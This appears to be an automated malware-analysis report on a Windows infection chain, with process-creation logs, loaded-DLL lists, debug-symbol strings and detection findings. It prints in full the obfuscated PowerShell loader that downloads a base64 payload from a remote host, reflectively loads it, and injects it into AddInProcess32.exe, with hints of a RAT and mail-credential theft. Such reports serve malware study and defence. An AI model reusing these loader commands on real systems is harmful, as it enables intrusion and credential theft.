Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoR3YgJypNRHIqJykubmFNRVszLDExLDJdLUpvaW4nJykgKCgnZGsnKyc3dScrJ3JsICcrJz0gWVNEaHR0cHM6Ly9pYTYwMDEwMC51cycrJy5hJysncmNoaXZlLm9yZy8yJysnNCcrJy8nKydpdGVtcy9kZXQnKydhaC0nKydub3RlLXYvJysnRGV0YWgnKydOJysnb3RlVi50JysneHQnKydZU0QnKyc7ZGs3JysnYicrJ2FzZScrJzY0Q28nKydudGVuJysndCcrJyA9ICcrJyhOZScrJ3ctTycrJ2JqZScrJ2N0ICcrJ1MnKyd5cycrJ3RlJysnbS5OZScrJ3QuV2ViQycrJ2xpZScrJ250KS5Eb3dubG8nKydhJysnZFMnKyd0cmluJysnZyhkJysnazd1JysncmwnKycpO2QnKydrJysnN2JpJysnbicrJ2FyeUNvJysnbicrJ3RlbicrJ3QgPSAnKydbU3lzdGUnKydtLkNvbnZlcnQnKyddOicrJzonKydGcicrJ29tQmFzZTY0UycrJ3RyaScrJ25nKGQnKydrJysnN2JhcycrJ2U2JysnNENvbnRlbicrJ3QpO2RrNycrJ2FzcycrJ2VtJysnYmwnKyd5ID0nKycgWycrJ1InKydlZmxlY3QnKydpb24uQXMnKydzJysnZW1ibHldOicrJzpMJysnb2EnKydkKGRrN2JpbicrJ2FyeScrJ0NvJysnbnRlbnQpOycrJ2RrN3R5JysncCcrJ2UgPSAnKydkaycrJzcnKydhcycrJ3NlJysnbWJseS5HZScrJ3RUeXBlKCcrJ1knKydTRFJ1JysnblAnKydFJysnLkhvbScrJ2VZJysnU0QnKycpO2RrN21ldGhvZCA9JysnIGRrNycrJ3R5cGUuJysnRycrJ2UnKyd0TWV0aCcrJ29kKFlTRFZBSVlTRCknKyc7ZGs3bWV0JysnaCcrJ28nKydkLkknKydudm9rZSgnKydkazduJysndWxsLCcrJyBbb2JqJysnZWN0W11dJysnQCgnKydZU0QnKyd0eHQuJysnZXknKyduby92JysnZWQuMnIuMzliMzQnKyc1MzAyYTAnKyc3NWIxYmMnKycwJysnZDQnKyc1YicrJzYzMicrJ2ViOScrJ2UnKydlNjInKyctYnUnKydwLycrJy86c3B0JysndGhZU0QgLCcrJyBZU0QnKydkZXNhdCcrJ2knKyd2JysnYWQnKydvWVMnKydEICwnKycgJysnWVNEJysnZCcrJ2VzYScrJ3RpJysndmFkbycrJ1knKydTRCcrJyAsICcrJ1lTRGRlc2F0aXZhZG9ZJysnUycrJ0QnKycsWScrJ1NEQWRkJysnSW5QJysncm8nKydjZXNzMycrJzJZU0QsWVNEWVNEJysnKSknKS5yRVBMYUNFKCdkazcnLFtzdFJpTmddW0NoYVJdMzYpLnJFUExhQ0UoJ1lTRCcsW3N0UmlOZ11bQ2hhUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((Gv 'MDr').naME[3,11,2]-Join'') (('dk'+'7u'+'rl '+'= YSDhttps://ia600100.us'+'.a'+'rchive.org/2'+'4'+'/'+'items/det'+'ah-'+'note-v/'+'Detah'+'N'+'oteV.t'+'xt'+'YSD'+';dk7'+'b'+'ase'+'64Co'+'nten'+'t'+' = '+'(Ne'+'w-O'+'bje'+'ct '+'S'+'ys'+'te'+'m.Ne'+'t.WebC'+'lie'+'nt).Downlo'+'a'+'dS'+'trin'+'g(d'+'k7u'+'rl'+');d'+'k'+'7bi'+'n'+'aryCo'+'n'+'ten'+'t = '+'[Syste'+'m.Convert'+']:'+':'+'Fr'+'omBase64S'+'tri'+'ng(d'+'k'+'7bas'+'e6'+'4Conten'+'t);dk7'+'ass'+'em'+'bl'+'y ='+' ['+'R'+'eflect'+'ion.As'+'s'+'embly]:'+':L'+'oa'+'d(dk7bin'+'ary'+'Co'+'ntent);'+'dk7ty'+'p'+'e = '+'dk'+'7'+'as'+'se'+'mbly.Ge'+'tType('+'Y'+'SDRu'+'nP'+'E'+'.Hom'+'eY'+'SD'+');dk7method ='+' dk7'+'type.'+'G'+'e'+'tMeth'+'od(YSDVAIYSD)'+';dk7met'+'h'+'o'+'d.I'+'nvoke('+'dk7n'+'ull,'+' [obj'+'ect[]]'+'@('+'YSD'+'txt.'+'ey'+'no/v'+'ed.2r.39b34'+'5302a0'+'75b1bc'+'0'+'d4'+'5b'+'632'+'eb9'+'e'+'e62'+'-bu'+'p/'+'/:spt'+'thYSD ,'+' YSD'+'desat'+'i'+'v'+'ad'+'oYS'+'D ,'+' '+'YSD'+'d'+'esa'+'ti'+'vado'+'Y'+'SD'+' , '+'YSDdesativadoY'+'S'+'D'+',Y'+'SDAdd'+'InP'+'ro'+'cess3'+'2YSD,YSDYSD'+'))').rEPLaCE('dk7',[stRiNg][ChaR]36).rEPLaCE('YSD',[stRiNg][ChaR]39) )"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

VBScript performs obfuscated calls to suspicious functions

Source:	Binary string: vcruntime140.i386.pdb source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2645142075.0000000073BD1000.00000020.00000001.01000000.00000007.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.5.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: AddInProcess32.exe, 00000005.00000002.2645142075.0000000073BD1000.00000020.00000001.01000000.00000007.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.5.dr
Source:	Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2642667288.000000007024F000.00000002.00000001.01000000.0000000B.sdmp, freebl3.dll.5.dr
Source:	Binary string: AddInProcess32.pdb source: AddInProcess32.exe, 00000005.00000002.2628713134.0000000003613000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdbGCTL source: AddInProcess32.exe, 00000005.00000002.2644081524.00000000702D1000.00000020.00000001.01000000.00000006.sdmp, AddInProcess32.exe, 00000005.00000002.2627316202.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.5.dr
Source:	Binary string: C:\Users\W7H64\source\repos\Ring3 CRAT x64\Ring3 CRAT x64\nope.pdb source: powershell.exe, 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: >+D C:\Users\W7H64\source\repos\Ring3 CRAT x64\Ring3 CRAT x64\nope.pdb source: powershell.exe, 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: AddInProcess32.exe, 00000005.00000002.2643159235.000000007028D000.00000002.00000001.01000000.0000000A.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.5.dr
Source:	Binary string: C:\Users\Tim\documents\visual studio 2010\Projects\sqlite\Release\sqlite3.pdb source: AddInProcess32.exe, 00000005.00000002.2630145863.0000000004573000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdb source: AddInProcess32.exe, 00000005.00000002.2644081524.00000000702D1000.00000020.00000001.01000000.00000006.sdmp, AddInProcess32.exe, 00000005.00000002.2627316202.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.5.dr
Source:	Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss3.pdb source: AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2641402406.000000006CD50000.00000002.00000001.01000000.00000009.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr
Source:	Binary string: AddInProcess32.pdbpw source: AddInProcess32.exe, 00000005.00000002.2628713134.0000000003613000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\task_1538344561\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2643512971.00000000702B9000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.5.dr
Source:	Binary string: System.Data.Linq.pdb source: powershell.exe, 00000004.00000002.1443666553.000001B2BB240000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1415526929.000001B2B3B23000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: z:\task_1538344561\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2643512971.00000000702B9000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.5.dr
Source:	Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: AddInProcess32.exe, 00000005.00000002.2643159235.000000007028D000.00000002.00000001.01000000.0000000A.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.5.dr
Source:	Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2642667288.000000007024F000.00000002.00000001.01000000.0000000B.sdmp, freebl3.dll.5.dr
Source:	Binary string: C:\Users\Tim\documents\visual studio 2010\Projects\sqlite\Release\sqlite3.pdb source: AddInProcess32.exe, 00000005.00000002.2630145863.0000000004573000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell -command $Codigo = 'LigoR3YgJypNRHIqJykubmFNRVszLDExLDJdLUpvaW4", "0", "false");

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $Codigo = 'LigoR3YgJypNRHIqJykubmFNRVszLDExLDJdLUpvaW4nJykgKCgnZGsnKyc3dScrJ3JsICcrJz0gWVNEaHR0cHM6Ly9pYTYwMDEwMC51cycrJy5hJysncmNoaXZlLm9yZy8yJysnNCcrJy8nKydpdGVtcy9kZXQnKydhaC0nKydub3RlLXYvJysnRGV0YWgnKydOJysnb3RlVi50JysneHQnKydZU0QnKyc7ZGs3JysnYicrJ2FzZScrJzY0Q28nKydudGVuJysndCcrJyA9ICcrJyhOZScrJ3ctTycrJ2JqZScrJ2N0ICcrJ1MnKyd5cycrJ3RlJysnbS5OZScrJ3QuV2ViQycrJ2xpZScrJ250KS5Eb3dubG8nKydhJysnZFMnKyd0cmluJysnZyhkJysnazd1JysncmwnKycpO2QnKydrJysnN2JpJysnbicrJ2FyeUNvJysnbicrJ3RlbicrJ3QgPSAnKydbU3lzdGUnKydtLkNvbnZlcnQnKyddOicrJzonKydGcicrJ29tQmFzZTY0UycrJ3RyaScrJ25nKGQnKydrJysnN2JhcycrJ2U2JysnNENvbnRlbicrJ3QpO2RrNycrJ2FzcycrJ2VtJysnYmwnKyd5ID0nKycgWycrJ1InKydlZmxlY3QnKydpb24uQXMnKydzJysnZW1ibHldOicrJzpMJysnb2EnKydkKGRrN2JpbicrJ2FyeScrJ0NvJysnbnRlbnQpOycrJ2RrN3R5JysncCcrJ2UgPSAnKydkaycrJzcnKydhcycrJ3NlJysnbWJseS5HZScrJ3RUeXBlKCcrJ1knKydTRFJ1JysnblAnKydFJysnLkhvbScrJ2VZJysnU0QnKycpO2RrN21ldGhvZCA9JysnIGRrNycrJ3R5cGUuJysnRycrJ2UnKyd0TWV0aCcrJ29kKFlTRFZBSVlTRCknKyc7ZGs3bWV0JysnaCcrJ28nKydkLkknKydudm9rZSgnKydkazduJysndWxsLCcrJyBbb2JqJysnZWN0W11dJysnQCgnKydZU0QnKyd0eHQuJysnZXknKyduby92JysnZWQuMnIuMzliMzQnKyc1MzAyYTAnKyc3NWIxYmMnKycwJysnZDQnKyc1YicrJzYzMicrJ2ViOScrJ2UnKydlNjInKyctYnUnKydwLycrJy86c3B0JysndGhZU0QgLCcrJyBZU0QnKydkZXNhdCcrJ2knKyd2JysnYWQnKydvWVMnKydEICwnKycgJysnWVNEJy